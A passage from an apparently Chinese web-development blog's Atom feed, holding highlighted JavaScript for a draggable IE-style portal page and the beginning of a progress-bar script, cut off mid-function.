    <li class="alt"><span>}, &nbsp;&nbsp;</span></li>
    <li><span>repos:</span><span class="keyword">function</span><span>(aa,ab){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;f=Drag.tdiv.filters.alpha.opacity; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;tl=parseInt(Drag.getInfo(Drag.tdiv).left); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;tt=parseInt(Drag.getInfo(Drag.tdiv).top); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;kl=(tl-Drag.getInfo(Drag.ao).left)/ab; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;kt=(tt-Drag.getInfo(Drag.ao).top)/ab; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;kf=f/ab; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">return</span><span>&nbsp;setInterval(</span><span class="keyword">function</span><span>(){</span><span class="keyword">if</span><span>(ab&lt;1){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clearInterval(Drag.mm); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Drag.tdiv.removeNode(</span><span class="keyword">true</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Drag.ao=</span><span class="keyword">null</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ab--; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tl-=kl; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tt-=kt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f-=kf; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Drag.tdiv.style.left=parseInt(tl)+</span><span class="string">&quot;px&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Drag.tdiv.style.top=parseInt(tt)+</span><span class="string">&quot;px&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Drag.tdiv.filters.alpha.opacity=f; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>,aa/ab) &nbsp;&nbsp;</span></li>
    <li><span>}, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;inint:</span><span class="keyword">function</span><span>(){</span><span class="comment">//初始化 </span><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">for</span><span>(</span><span class="keyword">var</span><span>&nbsp;i=0;i&lt;parentTable.cells.length;i++){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;subTables=parentTable.cells[i].getElementsByTagName(</span><span class="string">&quot;table&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span><span class="keyword">for</span><span>(</span><span class="keyword">var</span><span>&nbsp;j=0;j&lt;subTables.length;j++){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(subTables[j].className!=</span><span class="string">&quot;dragTable&quot;</span><span>)</span><span class="keyword">break</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;subTables[j].rows[0].className=</span><span class="string">&quot;dragTR&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;subTables[j].rows[0].attachEvent(</span><span class="string">&quot;onmousedown&quot;</span><span>,Drag.dragStart); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;document.onmousemove=Drag.draging; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;document.onmouseup=Drag.dragEnd; &nbsp;&nbsp;</span></li>
    <li><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="comment">//end&nbsp;of&nbsp;Object&nbsp;Drag </span><span>&nbsp;&nbsp;</span></li>
    <li><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>Drag.inint(); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">function</span><span>&nbsp;_show(str){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;w=window.open(</span><span class="string">''</span><span>,</span><span class="string">''</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;d=w.document; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;d.open(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;str=str.replace(/=(?!</span><span class="string">&quot;)(.*?)(?!&quot;</span><span>)(&nbsp;|&gt;)/g,</span><span class="string">&quot;=\&quot;$1\&quot;$2&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;str=str.replace(/(&lt;)(.*?)(&gt;)/g,</span><span class="string">&quot;&lt;span&nbsp;style='color:red;'&gt;&lt;$2&gt;&lt;/span&gt;&lt;br&nbsp;/&gt;&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;str=str.replace(/\r/g,</span><span class="string">&quot;&lt;br&nbsp;/&gt;\n&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;d.write(str); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li><span>&lt;/script&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/head&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;body&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;table&nbsp;border=</span><span class="string">&quot;0&quot;</span><span>&nbsp;cellpadding=</span><span class="string">&quot;0&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;10&quot;</span><span>&nbsp;width=</span><span class="string">&quot;100%&quot;</span><span>&nbsp;height=500&nbsp;id=</span><span class="string">&quot;parentTable&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;tr&nbsp;&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&lt;td&nbsp;width=</span><span class="string">&quot;25%&quot;</span><span>&nbsp;valgin=</span><span class="string">&quot;top&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&lt;table&nbsp;border=0&nbsp;</span><span class="keyword">class</span><span>=</span><span class="string">&quot;dragTable&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;0&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;b&gt;GMAIL&lt;/b&gt;&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;暂时无法显示GMAIL内容&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&lt;/table&gt;&lt;table&nbsp;border=0&nbsp;</span><span class="keyword">class</span><span>=</span><span class="string">&quot;dragTable&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;0&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;新浪体育&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;解剖威队独门利器FW28&nbsp;2万转引擎匹配超级变速器颁奖：辛吉斯欣喜能以冠军起步&lt;br/&gt;&nbsp;印度搭档创下纪录法新社前瞻冬奥短道速滑：中韩唱主角&nbsp;美加施冷箭&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&lt;/table&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&lt;table&nbsp;border=0&nbsp;</span><span class="keyword">class</span><span>=</span><span class="string">&quot;dragTable&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;0&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;焦点&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;京广线中断4小时20临客返汉晚点&nbsp;中国新闻网-湖北分社&nbsp;-&nbsp;所有&nbsp;235&nbsp;相关报道&nbsp;&raquo;哈马斯已有总理人选&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;解放日报报业集团&nbsp;-&nbsp;所有&nbsp;489&nbsp;相关报道&nbsp;&raquo;陈水扁是两岸关系麻烦制造者&nbsp;武汉晨报&nbsp;-&nbsp;所有&nbsp;179&nbsp;相关报道&nbsp;&raquo;&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&lt;/table&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&lt;td&nbsp;width=</span><span class="string">&quot;25%&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&lt;table&nbsp;border=0&nbsp;</span><span class="keyword">class</span><span>=</span><span class="string">&quot;dragTable&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;0&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;中关村在线&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;新年行情速递&nbsp;双敏板卡低价推荐&nbsp;终于等到了，映泰6600GT一降降一百&nbsp;罗技G15游戏键盘热力促销，代购价仅529元&nbsp;&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&lt;/table&gt;&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&lt;td&nbsp;width=</span><span class="string">&quot;25%&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&lt;table&nbsp;border=0&nbsp;</span><span class="keyword">class</span><span>=</span><span class="string">&quot;dragTable&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;0&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;网易商业&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;上海GDP增幅去年出现回落应对反倾销&nbsp;中国鞋企联手对抗欧盟尹家绪操盘南方汽车&nbsp;长安谋求曲线整体境外上市&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&lt;/table&gt;&nbsp;&nbsp;&lt;table&nbsp;border=0&nbsp;</span><span class="keyword">class</span><span>=</span><span class="string">&quot;dragTable&quot;</span><span>&nbsp;cellspacing=</span><span class="string">&quot;0&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;黑可天下&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;上海GDP增幅去年出现回落应对反倾销&nbsp;中国鞋企联手对抗欧盟尹家绪操盘南方汽车&nbsp;长安谋求曲线整体境外上市&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&lt;tr&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&lt;/table&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&lt;/td&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/tr&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;/table&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;input&nbsp;type=</span><span class="string">&quot;button&quot;</span><span>&nbsp;value=</span><span class="string">&quot;SHOW&quot;</span><span>&nbsp;onClick=</span><span class="string">&quot;_show(document.documentElement.innerHTML)&quot;</span><span>&nbsp;/&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;/body&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/html&gt;&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>&nbsp;</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.bloodcn.com/article/33.htm" /> 
	  <id>http://www.bloodcn.com/default.asp?id=33</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[javascript 进度条]]></title>
	  <author>
		 <name>la5u4ever</name>
		 <uri>http://www.bloodcn.com/</uri>
		 <email>li-deming@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.bloodcn.com/default.asp?cateID=11" label="Web" /> 
	  <updated>2008-08-08T08:55:18+08:00</updated>
	  <published>2008-08-08T08:55:18+08:00</published>
		  <summary type="html"><![CDATA[<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">JavaScript代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>&lt;body&gt; &nbsp;&nbsp;</span></span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;input&nbsp;type=</span><span class="string">&quot;button&quot;</span><span>&nbsp;value=</span><span class="string">&quot;start&quot;</span><span>&nbsp;onclick=</span><span class="string">&quot;processBar.changeMode();if(processBar.isMoving){this.value='Stop';}else{this.value='Start';}&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/body&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;script&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">if</span><span>(window.ActiveXObject)&nbsp;document.execCommand(</span><span class="string">&quot;BackgroundImageCache&quot;</span><span>,</span><span class="keyword">false</span><span>,</span><span class="keyword">true</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">function</span><span>&nbsp;ProcessBar(){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.width&nbsp;=&nbsp;256; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.height&nbsp;=&nbsp;18; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.top&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.left&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backImg&nbsp;=&nbsp;</span><span class="string">&quot;process_back.gif&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreImg&nbsp;=&nbsp;</span><span class="string">&quot;process.gif&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv&nbsp;=&nbsp;document.createElement(</span><span class="string">&quot;div&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv&nbsp;=&nbsp;document.createElement(</span><span class="string">&quot;div&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv&nbsp;=&nbsp;document.createElement(</span><span class="string">&quot;div&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.isMoving&nbsp;=&nbsp;</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.nowLength&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.moveInterval&nbsp;=&nbsp;100; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.moveRange&nbsp;=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.timer; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;ProcessBar.nowObj&nbsp;=&nbsp;</span><span class="keyword">this</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.init&nbsp;=&nbsp;</span><span class="keyword">function</span><span>(){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.backgroundImage&nbsp;=&nbsp;</span><span class="string">&quot;url(&quot;</span><span>&nbsp;+&nbsp;</span><span class="keyword">this</span><span>.foreImg&nbsp;+&nbsp;</span><span class="string">&quot;)&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.backgroundRepeat&nbsp;=&nbsp;</span><span class="string">&quot;no-repeat&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.position&nbsp;=&nbsp;</span><span class="string">&quot;absolute&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.width&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.nowLength; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.height&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.height; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.top&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.foreDiv.style.left&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.background&nbsp;=&nbsp;</span><span class="string">&quot;transparent&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.position&nbsp;=&nbsp;</span><span class="string">&quot;absolute&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.width&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.width; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.height&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.height; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.top&nbsp;=&nbsp;2; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.left&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.textAlign&nbsp;=&nbsp;</span><span class="string">&quot;center&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.style.fontSize&nbsp;=&nbsp;</span><span class="string">&quot;13px&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.fontDiv.appendChild(document.createTextNode(</span><span class="string">&quot;&nbsp;&quot;</span><span>)); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.backgroundImage&nbsp;=&nbsp;</span><span class="string">&quot;url(&quot;</span><span>&nbsp;+&nbsp;</span><span class="keyword">this</span><span>.backImg&nbsp;+&nbsp;</span><span class="string">&quot;)&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.backgroundRepeat&nbsp;=&nbsp;</span><span class="string">&quot;no-repeat&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.position&nbsp;=&nbsp;</span><span class="string">&quot;absolute&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.width&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.width; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.height&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.height; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.top&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.top; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.style.left&nbsp;=&nbsp;</span><span class="keyword">this</span><span>.left; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.appendChild(</span><span class="keyword">this</span><span>.foreDiv); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.backDiv.appendChild(</span><span class="keyword">this</span><span>.fontDiv); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.body.appendChild(</span><span class="keyword">this</span><span>.backDiv); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.changeMode&nbsp;=&nbsp;</span><span class="keyword">function</span><span>(){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.isMoving&nbsp;=&nbsp;!</span><span class="keyword">this</span><span>.isMoving; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="keyword">this</span><span>.isMoving){ &nbsp;&nbsp;</span></li>
